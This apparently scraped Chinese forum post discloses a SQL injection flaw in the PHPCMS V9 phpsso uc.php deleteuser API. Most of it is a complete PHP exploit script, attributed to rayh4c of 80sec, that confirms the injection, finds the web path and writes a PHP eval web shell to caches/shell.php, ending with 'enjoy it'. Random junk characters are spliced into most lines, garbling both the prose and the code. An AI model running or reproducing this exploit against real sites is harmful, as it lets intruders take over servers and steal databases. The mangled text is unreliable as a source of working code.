PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
/ W, g6 z7 Z$ ?0 N2 z
) t* y) t) c# K/ i/ Z! d2 j所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。) I* b7 x' s9 u& W3 F: \
" `" e9 x( I6 L' J& W! h6 i
漏洞分析:
; {: v- k; O. J' ?/ I1.未启用ucenter服务的情况下uc_key为空5 A+ \- r2 {" N/ p2 v
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
3 p3 k, v, L0 H" M% U2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
5 E! J# U2 j* }4 b5 ~) I- D5 N public function deleteuser($get,$post) {5 y9 r! \0 z; P' D$ ]( ~ |
pc_base::load_app_func('global', 'admin');
6 `$ M. H& M7 `2 O& l pc_base::load_app_class('messagequeue', 'admin' , 0);
# a; H8 ?. |' Z3 A. b $ids = new_stripslashes($get['ids']);* |6 b) ^4 J2 W, L& G
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
% L" S' }, h: v1 ~% w! [1 aSQL语句为/ {/ R* b% L0 x. V
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
- g- x9 l; { K' ^( h
9 [( s2 P2 v& S/ W利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
* L4 L) X V9 ]2 v* T/ [<?php1 K4 Y8 r1 n/ ~, F" }
print_r(') h2 c5 M3 s* w- A- N' u, B/ _2 c
---------------------------------------------------------------------------
" n1 w( S- X3 C1 ]" V/ C3 `PHPcms (v9 or Old Version) uc api sql injection 0day
9 `( d! c# J" Z! rby rayh4c#80sec.com
4 n, k0 n2 Y& M# F6 z3 {9 p---------------------------------------------------------------------------7 w/ i6 U) D1 }6 {
');; {' k1 X; d3 e% U4 H( H; N
7 P: e* n5 L" r9 zif ($argc<3) {
. i# c7 J! g# l print_r('$ ~1 w) }2 g5 t) Q3 v/ f/ z
---------------------------------------------------------------------------) }: G$ ^3 H9 H% j+ R
Usage: php '.$argv[0].' host path OPTIONS
' @, W1 Q! g5 a1 }host: target server (ip/hostname)
0 c3 V: h6 V5 v/ }9 o& ppath: path to phpcms; U! n1 L `0 M4 u; t# d
Options: D" f1 E2 G. S
-p[port]: specify a port other than 80+ t- F- K6 l- V+ ?, b- E
-P[ip:port]: specify a proxy
6 g& v5 Y" b2 lExample:. ^: x* h0 i+ Z0 I" s! e6 z
php '.$argv[0].' localhost /
# A& k$ K! f- {0 z) E E2 [php '.$argv[0].' localhost /phpcms/ -p811 K2 w5 W! O6 v
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
( M7 Y: x) i6 d- D7 P---------------------------------------------------------------------------( c; j4 t+ w( w
');" }6 Z7 y5 w& h9 Y/ ?: n; [
die;
: d; ]/ i* @- x}/ s }" t0 z/ l% x4 b, o. X( a( L
j4 C& D; }4 \5 a' P
error_reporting(7);
8 ]9 r) z/ g+ C/ `: {7 _ini_set("max_execution_time",0); M- g% }! W: |% `* Z# T# J
ini_set("default_socket_timeout",5);
7 X( p8 G8 p6 |/ k0 `. `' w$ D2 ]
function quick_dump($string)% c6 \; f" U/ a5 t/ m3 r
{' v! I8 s6 D. ]2 D
$result='';$exa='';$cont=0;- n- q9 I3 L2 R0 @9 Q
for ($i=0; $i<=strlen($string)-1; $i++)
. K" ~- a' p! {3 @' l2 M; h& j {
3 b3 K) N w- w. i1 `. C! K* M if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))0 E2 j' A7 ?5 @
{$result.=" .";}
" j. K4 w: \8 M else
" S L, N; d/ h Z6 F9 w$ I {$result.=" ".$string[$i];}$ X" ^! s, X# Q9 f% C
if (strlen(dechex(ord($string[$i])))==2)8 y# w! X( Z. ^5 w
{$exa.=" ".dechex(ord($string[$i]));}
# K% g" M+ z, m7 |+ r else
" L+ @7 i) Z! Y0 v4 w# V {$exa.=" 0".dechex(ord($string[$i]));}8 P5 f9 P- ]5 F) |8 M ?6 k$ T
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}- C8 O$ O/ G; S, j
}- H! y% _+ P$ K( A
return $exa."\r\n".$result;; u3 Y, j- i+ s1 b. H& B6 y3 v" g
}
: D7 y7 z- q0 q! A \& K$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
0 n& X7 n$ l( |3 t; u) G% _
. S/ l J! p$ ^9 x- L y: w$ Ufunction send($packet)
: c/ \% ]" |/ }, ]% d/ S{
3 k) Y3 s' x5 n3 n! f global $proxy, $host, $port, $html, $proxy_regex;
' t6 T; x% s2 y% r) S1 s4 p if ($proxy=='') {
8 }; a9 J: _$ x6 v# Y $ock=fsockopen(gethostbyname($host),$port);
1 q' K) A& P2 x& C C* D H: c if (!$ock) {
. s. U9 u4 \& W; G- j echo 'No response from '.$host.':'.$port; die;
9 K' d3 n* i& m1 y }
2 {3 W* u: K, J. ^4 r6 O: U }
' b# u. l' J) V0 _' B& u; B1 C4 X3 P else {
8 T' |2 y4 \9 j+ u9 z $c = preg_match($proxy_regex,$proxy);! K( k$ c8 e4 T6 S) Z {5 T
if (!$c) {
* w0 V* Y8 J' S/ [7 k( {0 \# M echo 'Not a valid proxy...';die;
5 K2 ~ K" t4 }1 M7 b/ K }. Z5 f, q7 t# J
$parts=explode(':',$proxy);
9 L/ N( S8 S' A j $parts[1]=(int)$parts[1];8 l! o: @* |7 n7 n9 x/ m( [
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";: G' h* ?! s8 R1 l) X# k: `
$ock=fsockopen($parts[0],$parts[1]);- l9 }" |7 b; b( `3 b2 H
if (!$ock) {
# ~! C, F' l9 V$ J. I7 d) l echo 'No response from proxy...';die;
! Y5 j) n7 v- z( l4 Q; {; v/ T3 s }
' Y7 ^- ]* r$ ~ }3 v% x( |: M+ r3 b
fputs($ock,$packet);$ |3 T D5 q7 l# L9 M+ p$ N) A
if ($proxy=='') {
' I. J0 J4 ]; n0 C6 d7 v# V $html='';1 P' F3 T5 e+ ?3 w, C0 z- V6 d
while (!feof($ock)) {
2 z! d& Z& ]/ c. Y1 @# V7 d# K A $html.=fgets($ock);
% u: i2 H4 t9 }) [; X }3 p) Z/ p1 ]9 W; c6 \
}! p* l: I( M+ i" ]# q0 G5 r
else {- H C- b0 r3 l9 F9 z/ s0 E# V
$html='';
0 }( x" ~- z# h ?/ x while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {3 z8 \. X+ i; r; l( z/ j
$html.=fread($ock,1);5 r( N6 f; J1 u+ ^1 c% E+ ~
}+ J$ h0 i) e# P/ |
}8 u v0 H! h3 b
fclose($ock);0 z! n8 X2 T9 B+ F1 P1 g5 V
}: T% g( d9 i) N2 Z; Z
d! u3 d. _# l. I9 w$host=$argv[1];
0 K; c/ h. p: k0 B2 J) Z2 A$path=$argv[2];
' H3 a( q$ E- Q0 K3 D! q$port=80;" g1 _1 H# \1 n" g$ o+ D: s
$proxy="";
7 g$ O! j, N0 d; ^" B8 C0 Ufor ($i=3; $i<$argc; $i++){
& @: y- A5 }7 S, n$temp=$argv[$i][0].$argv[$i][1];
2 | I _" D! ~. @if ($temp=="-p")
7 R2 [4 i6 @6 H6 J3 x) m{* e' }6 n% p; N
$port=(int)str_replace("-p","",$argv[$i]);& D2 L* i2 n4 h8 Z4 b& J& R- ~
}6 b! P- Y$ p/ |8 m! b5 D
if ($temp=="-P")
9 \. f! ?2 w9 X. U3 F/ j{
7 b- m, h- B, N% J7 Z$ H $proxy=str_replace("-P","",$argv[$i]);
7 V" b( b/ k r- I7 q- z# x} \0 V$ e$ B/ I5 z0 {8 U2 Z0 F
}
, t& O* e) c6 i5 o& @9 c/ _2 l, g8 R3 ^, a
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}1 G8 j; H+ h# b0 q
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} _2 b+ g. @, ^3 ?5 s
" k% Z0 u @4 Q- o. n% E7 j2 afunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {% m, T2 O: _. D' w+ K) [. b
+ {" N" ?' C+ u' ` $ckey_length = 4;
4 }) T5 M7 q$ n% H8 h: L' H$ z$ A1 ]( Z4 f6 S6 ^* Z
$key = md5($key ? $key : '');3 V1 i% e, o% g/ @! F
$keya = md5(substr($key, 0, 16));
/ P9 C; t0 u0 r# b. ? $keyb = md5(substr($key, 16, 16));1 ]" ~ S* ^0 I3 ~
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';8 {' [$ v5 j7 p6 C" V" I
" V ~# k; w. P4 |4 b- `% X
$cryptkey = $keya.md5($keya.$keyc);- q2 ?7 a B; B. F
$key_length = strlen($cryptkey);! p+ ?1 ?: ~2 z. P7 B6 G
' @! V6 p- w% \3 c% w
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;; G. ~! H+ X- {, B" F4 N4 y
$string_length = strlen($string);. w# l4 R4 f3 k* Y( ?. r: N. `" w
3 T3 B6 l6 p1 w7 s' w: z
$result = '';+ }* f3 s! t8 r3 w" ]
$box = range(0, 255);1 \7 k! S1 |/ J& A+ r5 }
@# {! c+ Q. h4 M# T $rndkey = array();9 y2 z! ?7 a( W. o5 F! W# J4 V
for($i = 0; $i <= 255; $i++) {8 o, a9 ~/ N: C) L# L
$rndkey[$i] = ord($cryptkey[$i % $key_length]);$ b i& Y$ h+ A6 h3 }! S
}, F+ W( {* h5 O2 n; ^6 D
3 U/ p' o& d" L; F+ O" t [
for($j = $i = 0; $i < 256; $i++) {8 }* E5 T9 o. @+ Y$ d* [$ u
$j = ($j + $box[$i] + $rndkey[$i]) % 256;# u+ z9 [) j( ^/ d
$tmp = $box[$i];
* s& O. Q9 O3 Q $box[$i] = $box[$j];. r) Q2 K% @. }0 ^5 s8 ~
$box[$j] = $tmp;
, f7 o4 d5 [7 \: h* L' x: U }9 a5 r, a& N( b/ \, S
* a1 \9 J) O; T$ t2 M2 o
for($a = $j = $i = 0; $i < $string_length; $i++) {
4 A# q8 D+ Z( F) c, }6 T! A2 H $a = ($a + 1) % 256;
& [( k3 U/ R. V! k& p! J $j = ($j + $box[$a]) % 256;
6 f" _ c1 Y. R: a M $tmp = $box[$a];( |! b1 L* ]1 a# h" a
$box[$a] = $box[$j];, {& Z) A$ k" y
$box[$j] = $tmp;
0 u* l* k8 k& |6 P3 w $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));4 h7 L* p/ @/ H7 Z0 Z: g+ @
}
) E6 w- k4 _; M8 S; A
+ g2 r8 s4 S, y# R+ I4 x# y if($operation == 'DECODE') {
) S3 I6 D% ]3 m( ?: Z if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
/ p5 u2 a* a+ x return substr($result, 26);, i4 \, ^/ g9 T y
} else {
. o6 K- ~/ ~: T; Z: d return '';
; f4 Q& e( p: g0 ^ }
: v% _7 n, o0 A } else {7 ~% E" D0 A: S6 \$ K) ?: R8 |/ ^7 S
return $keyc.str_replace('=', '', base64_encode($result));
/ M( h2 b. ~! ^4 X }' K3 C9 J! }# E# L% H! ^
4 D0 x9 a5 W' q! o& r}( e" W0 ]! p8 i: x+ w
+ c4 [1 A5 m5 W( `; p$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
9 X! O% M5 _- C- ]) U" Q$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ {7 Q6 S/ Z+ z& K1 necho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";# v$ y$ C5 w5 j- _# `; d; T5 B' K
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
1 v1 S/ g- z4 o0 k- Z4 j9 i$packet.="User-Agent: Mozilla/5.0\r\n";. ` e; O$ S3 ]' F- X
$packet.="Host: ".$host."\r\n";
1 B# U& F8 o, h9 ?: ^" r$packet.="Connection: Close\r\n\r\n";; t5 O. ?2 j( t% i( f
send($packet);0 U4 \! ?" X) |7 b
if(strpos($html,"MySQL Errno") > 0){ J, G, D& u2 ]' M
echo "[2] 发现存在SQL注入漏洞"."\n";
% `. y4 x& _+ A0 Z7 }& m5 i: g; aecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
7 J B0 F# ]' D+ W4 R$ @8 C/ _$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n"; J& y" Y% i8 {# J/ p9 Z
$packet.="User-Agent: Mozilla/5.0\r\n";
# ~) o7 m ~! I0 d$ s1 {$packet.="Host: ".$host."\r\n";; q3 C/ z5 h+ Q( I3 B8 N0 j# D" r, t
$packet.="Connection: Close\r\n\r\n";
* W- ~- R9 A+ R9 Ksend($packet);9 `& C/ f) _( S) ?
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
1 F1 s" i! D4 Y1 [7 o" b5 D' r//print_r($matches);) C, l% x" u! `4 X
if(!empty($matches)){1 D& p1 `+ r1 a+ `9 z+ e8 H
echo "[4] 得到web路径 " . $matches[0]."\n";
0 j6 S& {" I$ k) m" ^( F( L3 techo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";$ h( E" v2 h, b; w8 r
$SQL = "time=999999999999999999999999&ids=1)";
- o: j7 d, q h- n# s$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
# U' u: |' O5 L& E: Y& I6 w$SQL.="&action=deleteuser";
/ U) Z2 ~. L I' k' _3 a5 o: v$SQL = urlencode(authcode($SQL, "ENCODE", ""));
( E# O$ q$ o3 Z& v0 decho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
, R ?7 p: R7 A6 T( F J2 u3 G5 R/ [$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";/ f" |9 S' ? N5 @7 R
$packet.="User-Agent: Mozilla/5.0\r\n";/ ^- b8 ?4 D: u6 x4 P0 B6 Q
$packet.="Host: ".$host."\r\n";
* K2 V' M& }3 m: S' f4 {1 S; I$packet.="Connection: Close\r\n\r\n";/ L+ r% N; U2 ~0 H. q. }: E
send($packet);
7 L2 p4 y( ~4 z. G/ G4 }6 gif(strpos($html,"Access denied") > 0){* j4 f+ C4 g$ a" q
echo "[-] MYSQL权限过低 禁止写入文件 ";
* a) g5 q5 n( q7 Odie;
. D# a4 z( {$ [) w: {: f}
! q4 _% d" |5 A0 ~echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
# A3 x8 @: p- E* N* Y- x( H$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
) `4 _. B3 ^# o. m2 C8 T$packet.="User-Agent: Mozilla/5.0\r\n";
! n8 K9 |" F( a$ e4 `! R+ C4 P$packet.="Host: ".$host."\r\n"; ~# ^' j% Q+ Y0 v8 X N
$packet.="Connection: Close\r\n\r\n";
; E1 W, V0 j! p) Zsend($packet);; ~) t/ J) b4 Z( R* k/ @4 v
if(strpos($html,"<title>phpinfo()</title>") > 0){. k/ I0 \* x& M' e1 N
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
! M. ~. G* d; a4 N% o}5 i7 K) w# m' c; S- H; o' y8 b
}else{5 o% M: R% D) r6 g2 |
echo "[-]未取到web路径 "; e( o ?5 U" J& P5 e
}
* f5 ` T9 s1 t% \7 k}else{( F0 G% b7 ~- `; h
echo "[*]不存在SQL注入漏洞"."\n";
; {1 M. q) T4 m+ Q* A. z}* c' L3 ~) E0 s8 Q
) W2 _4 F' q) G9 U6 D, W) V8 {
?>5 T0 h7 s6 n- J
|